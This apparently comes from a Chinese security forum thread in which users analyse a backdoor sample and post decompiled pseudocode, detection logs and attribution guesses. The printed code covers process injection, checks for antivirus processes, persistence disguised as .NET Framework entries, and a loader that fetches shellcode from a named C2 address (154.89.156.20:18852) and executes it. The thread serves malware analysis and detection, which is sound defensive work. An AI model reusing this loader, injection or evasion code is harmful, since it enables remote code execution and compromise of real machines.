  20.   int v20; // [esp+38h] [ebp-Ch] BYREF
  21.   int v21; // [esp+3Ch] [ebp-8h]

  22.   v2 = a1;
  23.   v21 = a1;
  24.   v18 = a2;
  25.   v19 = sub_10010024(a1, 0, 4096, 12288, 4);
  26.   sub_10010098(v2, v19 + 56, &v18, 8, 0);
  27.   v3 = 0;
  28.   while ( 1 )
  29.   {
  30.     ++v3;
  31.     v4 = ((int (__stdcall *)(int *, _DWORD, _DWORD, int))(&sub_10010090 + 1))(&v20, 0, 0, 2);
  32.     sub_1001016C(v2, v3, v4);
  33.     ((void (__fastcall *)(int *, int))loc_10001D70)(v15, v20);
  34.     if ( v16 )
  35.       break;
  36. LABEL_9:
  37.     sub_1001001C(v20);
  38.     if ( v17 > 0xF )
  39.     {
  40.       v8 = v15[0];
  41.       if ( v17 + 1 >= 0x1000 )
  42.       {
  43.         v8 = *(_DWORD *)(v15[0] - 4);
  44.         v9 = v17 + 36;
  45.         if ( (unsigned int)(v15[0] - v8 - 4) > 0x1F )
  46.           goto LABEL_18;
  47.       }
  48.       sub_10003BF9(v8);
  49.     }
  50.   }
  51.   v5 = v15;
  52.   if ( v17 > 0xF )
  53.     v5 = (int *)v15[0];
  54.   if ( v16 < 0xC
  55.     || (v6 = (char *)v5 + v16, v7 = (char *)sub_10003BC0(v5, (char *)v5 + v16, &unk_100172CC, 12), v7 == v6)
  56.     || v7 - (char *)v5 == -1 )
  57.   {
  58.     v2 = v21;
  59.     goto LABEL_9;
  60.   }
  61.   v10 = v20;
  62.   if ( v17 > 0xF )
  63.   {
  64.     v11 = v15[0];
  65.     if ( v17 + 1 >= 0x1000 )
  66.     {
  67.       v11 = *(_DWORD *)(v15[0] - 4);
  68.       v9 = v17 + 36;
  69.       if ( (unsigned int)(v15[0] - v11 - 4) > 0x1F )
  70. LABEL_18:
  71.         sub_10007353(v9);
  72.     }
  73.     sub_10003BF9(v11);
  74.   }
  75.   v16 = 0;
  76.   v17 = 15;
  77.   LOBYTE(v15[0]) = 0;
  78.   v12 = sub_1001002C(&unk_100172DC);
  79.   v13 = (void (__stdcall *)(int, int, _DWORD, _DWORD, _DWORD))sub_10010020(v12, &off_100172F0);
  80.   v13(v10, v19, 0, 0, 0);
  81.   return 0;
  82. }
复制代码


函数功能推测
​1. 内存操作​:
• sub_10010024分配内存(类似VirtualAlloc),参数4096(内存大小)、12288(通常为MEM_COMMIT | MEM_RESERVE)、4(PAGE_READWRITE权限)。
• sub_10010098将参数a2(64位值)写入分配的内存偏移56字节处(v19 + 56)。
2. ​循环搜索​:
• 通过loc_10001D70获取数据到v15数组,检查v16(数据长度)和v17(缓冲区容量)。
• 若v16 != 0,尝试在数据中搜索特征码unk_100172CC(12字节):
  1. sub_10003BC0(v5, (char*)v5 + v16, &unk_100172CC, 12);
复制代码
• 未找到特征码则继续循环(LABEL_9释放资源后重试)。
​3. 动态函数调用​:
• 找到特征码后,通过sub_10010020获取函数指针v13(类似GetProcAddress)。
• 最终调用v13(v10, v19, 0, 0, 0),推测是执行注入的代码(如CreateRemoteThread)。
关键逻辑
  1. while (1) {
  2.   // 1. 获取资源句柄 (v20)
  3.   v4 = ((int(*)(int*,0,0,2))(&sub_10010090 + 1))(&v20, 0, 0, 2);
  4.   
  5.   // 2. 关联资源与当前环境
  6.   sub_1001016C(v2, v3, v4);
  7.   
  8.   // 3. 解析资源数据到v15/v16/v17
  9.   loc_10001D70(v15, v20);
  10.   
  11.   if (v16 != 0) { // 有有效数据
  12.     // 4. 搜索特征码
  13.     if (v16 >= 12 && 找到特征码) {
  14.       // 5. 执行目标函数
  15.       v13 = GetProcAddress(模块, 函数名);
  16.       v13(v10, v19, 0, 0, 0);
  17.       break;
  18.     }
  19.   }
  20.   // 6. 释放资源继续循环
  21.   sub_1001001C(v20);
  22. }
复制代码

技术细节
• ​内存管理​:
v17 > 0xF时使用堆内存(v15[0]为指针),否则用栈内存。
sub_10003BF9释放内存(类似free)。
​• 错误处理​:
sub_10007353可能是异常处理(参数v9为错误码)。
​• 调用约定​:
__fastcall:参数通过ECX/EDX传递(a1/a2)。
__stdcall:被调函数清理栈。
推测用途
可能是进程注入​(Process Injection)代码:
1. 分配内存并写入payload(a2)。
2. 遍历系统资源(进程/线程)搜索目标。
3. 找到目标后执行内存中的payload。
风险提示
此类代码常见于:恶意软件(病毒/木马)等。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
UNknownOoo
发表于 2025-10-19 20:29:50 | 显示全部楼层
emmm...至少这家族(如果算的话?)不算新了,就是之前靠patch白文件过掉好几次火绒人工分析的那个家族

另外分析这类样本对火绒来说应该是相当麻烦的,以至于在之后的某次上报中表示不会再对这族样本进行通杀处理:
https://bbs.huorong.cn/thread-155511-1-1.html



关联样本:
https://bbs.huorong.cn/thread-152616-1-1.html
https://bbs.huorong.cn/thread-152959-1-1.html (1楼以及7楼)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
神龟Turmi
 楼主| 发表于 2025-10-19 20:31:21 | 显示全部楼层
UNknownOoo 发表于 2025-10-19 20:29
emmm...至少这家族(如果算的话?)不算新了,就是之前靠patch白文件过掉好几次火绒人工分析的那个家族

...

看来和我的收集渠道不太重合 我还是第一次遇到这个家族
之前大量fakeapp都是gh0st/winos/cobaltstrike
wwwab
发表于 2025-10-19 20:45:04 | 显示全部楼层
UNknownOoo 发表于 2025-10-19 20:29
emmm...至少这家族(如果算的话?)不算新了,就是之前靠patch白文件过掉好几次火绒人工分析的那个家族

...
  1. 发现风险:2
  2. 已处理风险:2
  3. 病毒详情:
  4. 风险路径:mem://7780-0xab5b381d-0x10000000-C:\Users\PC\AppData\Local\Verifier.exe, 病毒名:Backdoor/Lotok.lg, 病毒ID:fb6e538adfc8e34d, 处理结果:处理成功,进程已结束
  5. 风险路径:mem://6444-0xe13c3f92-0x10000000-C:\Windows\SysWOW64\regsvr32.exe, 病毒名:Backdoor/Lotok.lg, 病毒ID:fb6e538adfc8e34d, 处理结果:处理成功,进程已结束
复制代码


还不错,"Backdoor/Lotok.lg" 这条特征到现在隔了一个月竟然还稳杀
wwwab
发表于 2025-10-19 21:00:48 | 显示全部楼层
本帖最后由 wwwab 于 2025-10-19 22:35 编辑
wwwab 发表于 2025-10-19 15:32
这Shellcode,一眼顶真:

C:%users\PC\AppData\Local\Profiler.json

@UNknownOoo
Profiler.json GPUCache.xml GPUCache2.xml 这三个Shellcode好像特征点比较明显(尤其是前两个)
我让火绒给这仨Shellcode加点特征试试?(https://bbs.huorong.cn/thread-156327-1-1.html

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
kf1123
发表于 2025-10-19 21:49:03 | 显示全部楼层
看起来像是金眼狗团伙使用的木马

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
wwwab + 3 版区有你更精彩: )

查看全部评分

scottxzt
发表于 2025-10-19 22:57:08 | 显示全部楼层
本帖最后由 scottxzt 于 2025-10-19 23:13 编辑

已检测:Trojan:Win32/Egairtigado!rfn
file: F:\TS-251019-01\telcgrtup-xk_x64.6.1.3.9.exe


wwwab
发表于 2025-10-19 23:30:59 | 显示全部楼层
本帖最后由 wwwab 于 2025-10-20 14:13 编辑

看到一个PAGE_EXECUTE_READ内存块,这个应该就是实际载荷了,和前面的进程内存字符串能对上。






  1. void __noreturn VFPower()
  2. {
  3.   HANDLE CurrentThread; // eax
  4.   HANDLE MutexA; // esi
  5.   _DWORD *v2; // eax
  6.   int v3; // eax
  7.   int v4; // esi
  8.   int v5; // eax
  9.   char v6; // al
  10.   _DWORD *v7; // eax
  11.   int v8; // eax
  12.   int v9; // esi
  13.   int v10; // eax
  14.   unsigned int v11; // eax
  15.   _DWORD *v12; // eax
  16.   int v13; // eax
  17.   int v14; // eax
  18.   int v15; // esi
  19.   int v16; // eax
  20.   _DWORD *v17; // eax
  21.   int v18; // eax
  22.   int v19; // eax
  23.   int v20; // esi
  24.   int v21; // eax
  25.   char v22; // al
  26.   HANDLE v23; // eax
  27.   int v24; // [esp-10h] [ebp-B8h] BYREF
  28.   int v25; // [esp-Ch] [ebp-B4h]
  29.   DWORD v26; // [esp-8h] [ebp-B0h]
  30.   unsigned int v27; // [esp+4h] [ebp-A4h]
  31.   char v28; // [esp+Bh] [ebp-9Dh]
  32.   int v29; // [esp+Ch] [ebp-9Ch] BYREF
  33.   int v30; // [esp+10h] [ebp-98h]
  34.   int v31; // [esp+14h] [ebp-94h]
  35.   int v32; // [esp+18h] [ebp-90h]
  36.   int v33; // [esp+1Ch] [ebp-8Ch] BYREF
  37.   int v34; // [esp+20h] [ebp-88h]
  38.   int v35; // [esp+24h] [ebp-84h]
  39.   int v36; // [esp+28h] [ebp-80h]
  40.   char v37[4]; // [esp+2Ch] [ebp-7Ch] BYREF
  41.   int v38; // [esp+30h] [ebp-78h]
  42.   char v39[24]; // [esp+44h] [ebp-64h] BYREF
  43.   char v40[24]; // [esp+5Ch] [ebp-4Ch] BYREF
  44.   char v41[24]; // [esp+74h] [ebp-34h] BYREF
  45.   char v42[28]; // [esp+8Ch] [ebp-1Ch] BYREF

  46.   v38 = 0;
  47.   CurrentThread = GetCurrentThread();
  48.   WaitForSingleObject(CurrentThread, 0x1388u);
  49.   MutexA = CreateMutexA(0, 0, "MianVjsdhan");
  50.   if ( GetLastError() != 183 )
  51.     goto LABEL_4;
  52.   CloseHandle(MutexA);
  53.   while ( 1 )
  54.   {
  55.     _loaddll(0);
  56. LABEL_4:
  57.     v29 = 1408247324;
  58.     v30 = -1641597937;
  59.     v31 = -1827626421;
  60.     v32 = 17327;
  61.     v2 = (_DWORD *)unknown_libname_4(&v29, &v33);
  62.     sub_10002DC5(*v2, v2[1], &v24);
  63.     v3 = sub_10007E62(v24, v25);
  64.     v4 = sub_10003910(v3);
  65.     v5 = sub_10001B04(v41);
  66.     v27 = 3;
  67.     v6 = sub_1000430B(v5, v4);
  68.     v38 = 1;
  69.     if ( !v6 )
  70.       goto LABEL_7;
  71.     v33 = 1408247356;
  72.     v34 = -1641597937;
  73.     v35 = -1827626421;
  74.     v36 = 17327;
  75.     v7 = (_DWORD *)unknown_libname_4(&v33, v37);
  76.     sub_10002DC5(*v7, v7[1], &v24);
  77.     v8 = sub_10007E62(v24, v25);
  78.     v9 = sub_10003910(v8);
  79.     v10 = sub_10001B04(v39);
  80.     v27 = 15;
  81.     if ( (unsigned __int8)sub_1000430B(v10, v9) )
  82.     {
  83.       v28 = 1;
  84.       v11 = 15;
  85.     }
  86.     else
  87.     {
  88. LABEL_7:
  89.       v11 = v27;
  90.       v28 = 0;
  91.       if ( (v27 & 8) == 0 )
  92.         goto LABEL_9;
  93.     }
  94.     v27 = v11 & 0xFFFFFFF7;
  95.     sub_10003958(v39);
  96.     v11 = v27;
  97. LABEL_9:
  98.     if ( (v11 & 4) != 0 )
  99.     {
  100.       v27 = v11 & 0xFFFFFFFB;
  101.       sub_10003958(v40);
  102.     }
  103.     sub_10003958(v41);
  104.     v27 &= 0xFFFFFFFC;
  105.     sub_10003958(v42);
  106.     if ( v28 )
  107.     {
  108.       v33 = 1157183004;
  109.       v34 = -1641600491;
  110.       v35 = -1827626421;
  111.       v36 = 17327;
  112.       v12 = (_DWORD *)unknown_libname_4(&v33, v37);
  113.       sub_10002DC5(*v12, v12[1], &v24);
  114.       v13 = sub_10007E62(v24, v25);
  115.       v14 = sub_10003910(v13);
  116.       v27 |= 0x30u;
  117.       v15 = v14;
  118.       v16 = sub_10001B04(v40);
  119.       if ( !(unsigned __int8)sub_1000430B(v16, v15) )
  120.         goto LABEL_14;
  121.       v29 = 1157183036;
  122.       v30 = -1641600491;
  123.       v31 = -1827626421;
  124.       v32 = 17327;
  125.       v17 = (_DWORD *)unknown_libname_4(&v29, &v33);
  126.       sub_10002DC5(*v17, v17[1], &v24);
  127.       v18 = sub_10007E62(v24, v25);
  128.       v19 = sub_10003910(v18);
  129.       v27 |= 0xC0u;
  130.       v20 = v19;
  131.       v21 = sub_10001B04(v42);
  132.       if ( !(unsigned __int8)sub_1000430B(v21, v20) )
  133. LABEL_14:
  134.         LOBYTE(v38) = 0;
  135.       v22 = v27;
  136.       if ( (v27 & 0x80u) != 0 )
  137.       {
  138.         sub_10003958(v42);
  139.         v22 = v27;
  140.       }
  141.       if ( (v22 & 0x40) != 0 )
  142.         sub_10003958(v41);
  143.       sub_10003958(v40);
  144.       sub_10003958(v39);
  145.       if ( (_BYTE)v38 )
  146.         sub_100019A1();
  147.     }
  148.     CreateThread(0, 0, StartAddress, 0, 0, 0);
  149.     CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_10002478, 0, 0, 0);
  150.     v26 = 5000;
  151.     v23 = GetCurrentThread();
  152.     WaitForSingleObject(v23, v26);
  153.     sub_100019A1();
  154.   }
  155. }
复制代码
  1. DWORD __usercall StartAddress@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
  2. {
  3.   int v3; // eax
  4.   int v4; // eax
  5.   unsigned int v5; // eax
  6.   void **v6; // eax
  7.   void *v7; // esi
  8.   int v8; // eax
  9.   const CHAR *v9; // eax
  10.   WCHAR *v10; // ecx
  11.   void **v11; // eax
  12.   void *v12; // esi
  13.   int v13; // eax
  14.   const CHAR *v14; // eax
  15.   int v16; // [esp-24h] [ebp-334h] BYREF
  16.   LPWSTR v17; // [esp-20h] [ebp-330h]
  17.   int v18; // [esp-1Ch] [ebp-32Ch]
  18.   int v19; // [esp-18h] [ebp-328h]
  19.   int v20; // [esp-14h] [ebp-324h]
  20.   WCHAR WideCharStr[262]; // [esp+0h] [ebp-310h] BYREF
  21.   char v22[24]; // [esp+20Ch] [ebp-104h] BYREF
  22.   char v23[24]; // [esp+224h] [ebp-ECh] BYREF
  23.   LPCCH lpMultiByteStr[6]; // [esp+23Ch] [ebp-D4h] BYREF
  24.   LPCCH v25[6]; // [esp+254h] [ebp-BCh] BYREF
  25.   char v26[12]; // [esp+26Ch] [ebp-A4h] BYREF
  26.   char v27[12]; // [esp+278h] [ebp-98h] BYREF
  27.   char v28[12]; // [esp+284h] [ebp-8Ch] BYREF
  28.   char v29[12]; // [esp+290h] [ebp-80h] BYREF
  29.   int v30; // [esp+29Ch] [ebp-74h]
  30.   int v31[13]; // [esp+2A0h] [ebp-70h] BYREF
  31.   char v32; // [esp+2D4h] [ebp-3Ch]
  32.   char v33[3]; // [esp+2D5h] [ebp-3Bh] BYREF
  33.   _BYTE v34[11]; // [esp+2D8h] [ebp-38h] BYREF
  34.   char v35; // [esp+2E3h] [ebp-2Dh] BYREF
  35.   int v36; // [esp+2E4h] [ebp-2Ch]
  36.   _BYTE v37[17]; // [esp+2E8h] [ebp-28h] BYREF
  37.   char v38[3]; // [esp+2F9h] [ebp-17h] BYREF
  38.   unsigned int v39; // [esp+2FCh] [ebp-14h]
  39.   int v40; // [esp+30Ch] [ebp-4h]

  40.   *(_DWORD *)&v37[8] = a1;
  41.   v20 = a3;
  42.   v19 = a2;
  43.   qmemcpy(v34, "360tray.exe", sizeof(v34));
  44.   sub_10002DC5(v34, &v35, v34);
  45.   v40 = 0;
  46.   v36 = 1;
  47.   v30 = 1;
  48.   v3 = sub_10004BF4(v22, v27);
  49.   v40 = 1;
  50.   v39 = 3;
  51.   v30 = 3;
  52.   if ( !(unsigned __int8)sub_100023D7(v3) )
  53.   {
  54.     qmemcpy(v37, "ZhuDongFangYu.exe", sizeof(v37));
  55.     sub_10002DC5(v37, v38, v37);
  56.     v40 = 2;
  57.     v30 = 7;
  58.     v4 = sub_10004BF4(v23, v29);
  59.     v39 = 15;
  60.     if ( !(unsigned __int8)sub_100023D7(v4) )
  61.       LOBYTE(v36) = 0;
  62.   }
  63.   v5 = v39;
  64.   if ( (v39 & 8) != 0 )
  65.   {
  66.     v39 &= ~8u;
  67.     sub_10003EAC(v23);
  68.     v5 = v39;
  69.   }
  70.   if ( (v5 & 4) != 0 )
  71.   {
  72.     v39 = v5 & 0xFFFFFFFB;
  73.     sub_10002DA2(v29);
  74.     v5 = v39;
  75.   }
  76.   if ( (v5 & 2) != 0 )
  77.   {
  78.     v39 = v5 & 0xFFFFFFFD;
  79.     sub_10003EAC(v22);
  80.     LOBYTE(v5) = v39;
  81.   }
  82.   v40 = -1;
  83.   if ( (v5 & 1) != 0 )
  84.     sub_10002DA2(v27);
  85.   if ( (_BYTE)v36 )
  86.   {
  87.     sub_10004E2F(v19, v20);
  88.     sub_10005E84();
  89.   }
  90.   else
  91.   {
  92.     v31[0] = 322716279;
  93.     v31[1] = -770128304;
  94.     v31[2] = -968589238;
  95.     v31[3] = 745033722;
  96.     v31[4] = -1167213317;
  97.     v31[5] = 1927605949;
  98.     v31[6] = -1531022906;
  99.     v31[7] = -1833020679;
  100.     v31[8] = 140239199;
  101.     v31[9] = -201875851;
  102.     v31[10] = -1892210834;
  103.     v31[11] = 1496762663;
  104.     v31[12] = 6200266;
  105.     v32 = 0;
  106.     sub_10002DC5(v31, v33, &v16);
  107.     v6 = (void **)sub_10007E62(v16, v17);
  108.     v7 = v6;
  109.     v40 = 3;
  110.     if ( (unsigned int)v6[5] > 0xF )
  111.       v7 = *v6;
  112.     sub_10004C73(v22, 26);
  113.     LOBYTE(v40) = 4;
  114.     v8 = unknown_libname_7(v7);
  115.     sub_1000395D(v8);
  116.     sub_10003EAC(v22);
  117.     LOBYTE(v40) = 7;
  118.     sub_10003EAC(v23);
  119.     v9 = (const CHAR *)lpMultiByteStr;
  120.     if ( lpMultiByteStr[5] > (LPCCH)0xF )
  121.       v9 = lpMultiByteStr[0];
  122.     MultiByteToWideChar(0, 0, v9, -1, WideCharStr, 260);
  123.     sub_10001221(L".NET Framework JDAH v7.7", L"rundll32.exe", WideCharStr, v19, v20);
  124.     v17 = v10;
  125.     v16 = (int)v10;
  126.     *(_DWORD *)v37 = -738862545;
  127.     *(_DWORD *)&v37[4] = -1661833234;
  128.     *(_DWORD *)&v37[8] = -153714092;
  129.     *(_DWORD *)&v37[12] = 3685389;
  130.     v37[16] = 0;
  131.     sub_10002DC5(v37, v38, &v16);
  132.     v11 = (void **)sub_10007E62(v16, v17);
  133.     v12 = v11;
  134.     LOBYTE(v40) = 8;
  135.     if ( (unsigned int)v11[5] > 0xF )
  136.       v12 = *v11;
  137.     sub_10004C73(v26, 28);
  138.     LOBYTE(v40) = 9;
  139.     v13 = unknown_libname_7(v12);
  140.     sub_1000395D(v13);
  141.     sub_10003EAC(v26);
  142.     LOBYTE(v40) = 12;
  143.     sub_10003EAC(v28);
  144.     v18 = 260;
  145.     v17 = WideCharStr;
  146.     v16 = -1;
  147.     v14 = (const CHAR *)v25;
  148.     if ( v25[5] > (LPCCH)0xF )
  149.       v14 = v25[0];
  150.     MultiByteToWideChar(0, 0, v14, v16, v17, v18);
  151.     sub_10001221(L".NET Framework adv v6.0.4232", WideCharStr, 0, v19, v20);
  152.     sub_10003EAC(v25);
  153.     sub_10003EAC(lpMultiByteStr);
  154.   }
  155.   return 0;
  156. }
复制代码

从C2 154.89.156.20:18852加载Shellcode并VirtualAlloc执行:
  1. int sub_100019A1()
  2. {
  3.   SOCKET v0; // ebx
  4.   PADDRINFOA v1; // esi
  5.   SOCKET v2; // eax
  6.   size_t v3; // esi
  7.   char *v4; // eax
  8.   SIZE_T v5; // edi
  9.   char *v6; // ebx
  10.   int v7; // eax
  11.   void *v8; // esi
  12.   struct WSAData WSAData; // [esp+10h] [ebp-1B8h] BYREF
  13.   ADDRINFOA pHints; // [esp+1A0h] [ebp-28h] BYREF
  14.   PADDRINFOA ppResult; // [esp+1C0h] [ebp-8h] BYREF
  15.   SOCKET s; // [esp+1C4h] [ebp-4h]

  16.   ppResult = 0;
  17.   v0 = -1;
  18.   s = -1;
  19.   WSAStartup(0x202u, &WSAData);
  20.   pHints.ai_flags = 0;
  21.   memset(&pHints.ai_addrlen, 0, 16);
  22.   pHints.ai_family = 2;
  23.   pHints.ai_socktype = 1;
  24.   pHints.ai_protocol = 6;
  25.   while ( 1 )
  26.   {
  27.     if ( !getaddrinfo(pNodeName, "18852", &pHints, &ppResult) )
  28.     {
  29.       v1 = ppResult;
  30.       if ( ppResult )
  31.       {
  32.         do
  33.         {
  34.           v2 = socket(v1->ai_family, v1->ai_socktype, v1->ai_protocol);
  35.           v0 = v2;
  36.           s = v2;
  37.           if ( v2 != -1 )
  38.           {
  39.             if ( connect(v2, v1->ai_addr, v1->ai_addrlen) != -1 )
  40.               break;
  41.             closesocket(v0);
  42.             v0 = -1;
  43.             s = -1;
  44.           }
  45.           v1 = v1->ai_next;
  46.         }
  47.         while ( v1 );
  48.         v1 = ppResult;
  49.       }
  50.       freeaddrinfo(v1);
  51.       if ( v0 != -1 )
  52.         break;
  53.     }
  54.     Sleep(0xBB8u);
  55.   }
  56.   v3 = 4096;
  57.   v4 = (char *)malloc(0x1000u);
  58.   v5 = 0;
  59. LABEL_12:
  60.   v6 = v4;
  61.   while ( 1 )
  62.   {
  63.     v7 = recv(s, &v6[v5], v3 - v5, 0);
  64.     if ( v7 <= 0 )
  65.       break;
  66.     v5 += v7;
  67.     if ( v5 == v3 )
  68.     {
  69.       v3 *= 2;
  70.       v4 = (char *)realloc(v6, v3);
  71.       goto LABEL_12;
  72.     }
  73.   }
  74.   if ( v7 )
  75.   {
  76.     closesocket(s);
  77.     WSACleanup();
  78.     free(v6);
  79.     return 1;
  80.   }
  81.   else
  82.   {
  83.     closesocket(s);
  84.     WSACleanup();
  85.     v8 = VirtualAlloc(0, v5, 0x3000u, 0x40u);
  86.     memmove(v8, v6, v5);
  87.     ((void (*)(void))v8)();
  88.     free(v6);
  89.     return 0;
  90.   }
  91. }
复制代码
  1. int __usercall sub_10004E2F@<eax>(int a1@<ecx>, int a2@<ebx>, int a3@<edi>, int a4@<esi>)
  2. {
  3.   _DWORD *v4; // eax
  4.   void **v5; // eax
  5.   void *v6; // esi
  6.   int v7; // eax
  7.   _DWORD *v8; // eax
  8.   _DWORD *v9; // eax
  9.   _DWORD *v10; // eax
  10.   int v11; // eax
  11.   int v12; // eax
  12.   int v13; // eax
  13.   void **v14; // ecx
  14.   int v15; // eax
  15.   const CHAR *v16; // eax
  16.   LPCSTR *v17; // eax
  17.   LPCSTR *v18; // eax
  18.   void **v19; // eax
  19.   int v20; // eax
  20.   int v21; // esi
  21.   const CHAR *v22; // eax
  22.   LPCSTR *v23; // eax
  23.   void *v24; // esi
  24.   void *v25; // eax
  25.   const CHAR *v26; // eax
  26.   LPCSTR *v27; // esi
  27.   int v28; // eax
  28.   int v29; // eax
  29.   const CHAR *v30; // eax
  30.   LPCSTR *v31; // eax
  31.   LPCSTR *v32; // eax
  32.   const CHAR *v33; // eax
  33.   const CHAR *v34; // eax
  34.   int v36; // [esp-3Ch] [ebp-F94h]
  35.   int v37; // [esp-3Ch] [ebp-F94h]
  36.   int v38; // [esp-3Ch] [ebp-F94h]
  37.   int v39; // [esp-38h] [ebp-F90h]
  38.   int v40; // [esp-38h] [ebp-F90h]
  39.   int v41; // [esp-38h] [ebp-F90h]
  40.   int v42; // [esp-34h] [ebp-F8Ch]
  41.   int v43; // [esp-34h] [ebp-F8Ch]
  42.   int v44; // [esp-34h] [ebp-F8Ch]
  43.   int v45; // [esp-30h] [ebp-F88h]
  44.   int v46; // [esp-30h] [ebp-F88h]
  45.   int v47; // [esp-30h] [ebp-F88h]
  46.   int *v48; // [esp-2Ch] [ebp-F84h] BYREF
  47.   int v49; // [esp-28h] [ebp-F80h]
  48.   char *v50; // [esp-24h] [ebp-F7Ch]
  49.   _DWORD v51[8]; // [esp-20h] [ebp-F78h] BYREF
  50.   int v52[688]; // [esp+0h] [ebp-F58h] BYREF
  51.   int v53; // [esp+AC0h] [ebp-498h] BYREF
  52.   char v54[24]; // [esp+AC4h] [ebp-494h] BYREF
  53.   char v55[24]; // [esp+ADCh] [ebp-47Ch] BYREF
  54.   char v56[24]; // [esp+AF4h] [ebp-464h] BYREF
  55.   char v57[24]; // [esp+B0Ch] [ebp-44Ch] BYREF
  56.   char v58[24]; // [esp+B24h] [ebp-434h] BYREF
  57.   LPCSTR lpCmdLine[6]; // [esp+B3Ch] [ebp-41Ch] BYREF
  58.   SHELLEXECUTEINFOA pExecInfo; // [esp+B54h] [ebp-404h] BYREF
  59.   char v61[24]; // [esp+B90h] [ebp-3C8h] BYREF
  60.   char v62[24]; // [esp+BA8h] [ebp-3B0h] BYREF
  61.   char v63[24]; // [esp+BC0h] [ebp-398h] BYREF
  62.   char v64[24]; // [esp+BD8h] [ebp-380h] BYREF
  63.   char v65[24]; // [esp+BF0h] [ebp-368h] BYREF
  64.   void *v66[6]; // [esp+C08h] [ebp-350h] BYREF
  65.   void *Src[6]; // [esp+C20h] [ebp-338h] BYREF
  66.   int v68[6]; // [esp+C38h] [ebp-320h] BYREF
  67.   int v69[6]; // [esp+C50h] [ebp-308h] BYREF
  68.   int v70[6]; // [esp+C68h] [ebp-2F0h] BYREF
  69.   char v71[12]; // [esp+C80h] [ebp-2D8h] BYREF
  70.   char v72[12]; // [esp+C8Ch] [ebp-2CCh] BYREF
  71.   char v73[24]; // [esp+C98h] [ebp-2C0h] BYREF
  72.   LPCSTR lpFileName[5]; // [esp+CB0h] [ebp-2A8h] BYREF
  73.   unsigned int v75; // [esp+CC4h] [ebp-294h]
  74.   LPCSTR v76[5]; // [esp+CC8h] [ebp-290h] BYREF
  75.   unsigned int v77; // [esp+CDCh] [ebp-27Ch]
  76.   int v78[79]; // [esp+CE0h] [ebp-278h] BYREF
  77.   char v79[4]; // [esp+E1Ch] [ebp-13Ch] BYREF
  78.   _BYTE v80[81]; // [esp+E20h] [ebp-138h] BYREF
  79.   char v81[11]; // [esp+E71h] [ebp-E7h] BYREF
  80.   char v82[12]; // [esp+E7Ch] [ebp-DCh] BYREF
  81.   char v83[4]; // [esp+E88h] [ebp-D0h] BYREF
  82.   int v84; // [esp+E8Ch] [ebp-CCh] BYREF
  83.   int v85; // [esp+E90h] [ebp-C8h] BYREF
  84.   _BYTE v86[47]; // [esp+E94h] [ebp-C4h] BYREF
  85.   char v87; // [esp+EC3h] [ebp-95h] BYREF
  86.   int v88[2]; // [esp+EC4h] [ebp-94h] BYREF
  87.   int v89[6]; // [esp+ECCh] [ebp-8Ch] BYREF
  88.   char v90; // [esp+EE4h] [ebp-74h]
  89.   char v91[3]; // [esp+EE5h] [ebp-73h] BYREF
  90.   char v92[12]; // [esp+EE8h] [ebp-70h] BYREF
  91.   _BYTE v93[12]; // [esp+EF4h] [ebp-64h] BYREF
  92.   int v94[2]; // [esp+F00h] [ebp-58h] BYREF
  93.   CHAR FileName[4]; // [esp+F08h] [ebp-50h] BYREF
  94.   int v96; // [esp+F0Ch] [ebp-4Ch]
  95.   int v97; // [esp+F10h] [ebp-48h]
  96.   int v98; // [esp+F14h] [ebp-44h]
  97.   int v99; // [esp+F18h] [ebp-40h]
  98.   int v100; // [esp+F1Ch] [ebp-3Ch] BYREF
  99.   char v101; // [esp+F22h] [ebp-36h]
  100.   char v102; // [esp+F23h] [ebp-35h] BYREF
  101.   _BYTE v103[24]; // [esp+F24h] [ebp-34h] BYREF
  102.   int v104[4]; // [esp+F3Ch] [ebp-1Ch] BYREF
  103.   int v105; // [esp+F54h] [ebp-4h]

  104.   *(_DWORD *)&v103[20] = a1;
  105.   *(_DWORD *)&v103[16] = a2;
  106.   v51[2] = a2;
  107.   v51[1] = a4;
  108.   v51[0] = a3;
  109.   v104[3] = (int)v51;
  110.   v88[0] = 1342459400;
  111.   v88[1] = -1675207133;
  112.   v90 = 0;
  113.   v89[0] = -736306722;
  114.   v89[1] = -1733864832;
  115.   v89[2] = -1036698606;
  116.   v89[3] = 805651664;
  117.   v89[4] = 328732912;
  118.   v89[5] = 3074522;
  119.   sub_10002DC5(v88, v91, &v48);
  120.   v4 = (_DWORD *)sub_10007E62(v48, v49);
  121.   v105 = 0;
  122.   if ( v4[5] > 0xFu )
  123.     v4 = (_DWORD *)*v4;
  124.   sub_10003996(v66, v4);
  125.   LOBYTE(v105) = 2;
  126.   sub_10003EAC(v61);
  127.   v94[0] = 857202978;
  128.   v94[1] = 1478832801;
  129.   v101 = 0;
  130.   *(_DWORD *)FileName = -606261188;
  131.   v96 = 1455225851;
  132.   v97 = 1587389231;
  133.   v98 = -273690880;
  134.   v99 = -364046705;
  135.   strcpy((char *)&v100, "芍凕:");
  136.   sub_10002DC5(v94, &v102, &v48);
  137.   v5 = (void **)sub_10007E62(v48, v49);
  138.   v6 = v5;
  139.   LOBYTE(v105) = 3;
  140.   if ( (unsigned int)v5[5] > 0xF )
  141.     v6 = *v5;
  142.   sub_10004C73(v62, 26);
  143.   LOBYTE(v105) = 4;
  144.   v7 = unknown_libname_7(v6);
  145.   sub_1000395D(v7);
  146.   sub_10003EAC(v62);
  147.   LOBYTE(v105) = 7;
  148.   sub_10003EAC(v63);
  149.   *(_DWORD *)v103 = 1024909394;
  150.   *(_DWORD *)&v103[4] = 1344349586;
  151.   *(_DWORD *)&v103[8] = -959831765;
  152.   *(_DWORD *)&v103[12] = 1421598708;
  153.   *(_DWORD *)&v103[16] = 989627173;
  154.   *(_WORD *)&v103[20] = 0;
  155.   sub_10002DC5(v103, &v103[22], &v48);
  156.   v8 = (_DWORD *)sub_10007E62(v48, v49);
  157.   LOBYTE(v105) = 8;
  158.   if ( v8[5] > 0xFu )
  159.     v8 = (_DWORD *)*v8;
  160.   sub_100042BA(v62, v61, v8);
  161.   LOBYTE(v105) = 10;
  162.   sub_10003EAC(v64);
  163.   v78[0] = -1057044013;
  164.   v78[1] = 53854565;
  165.   v78[2] = 1424354290;
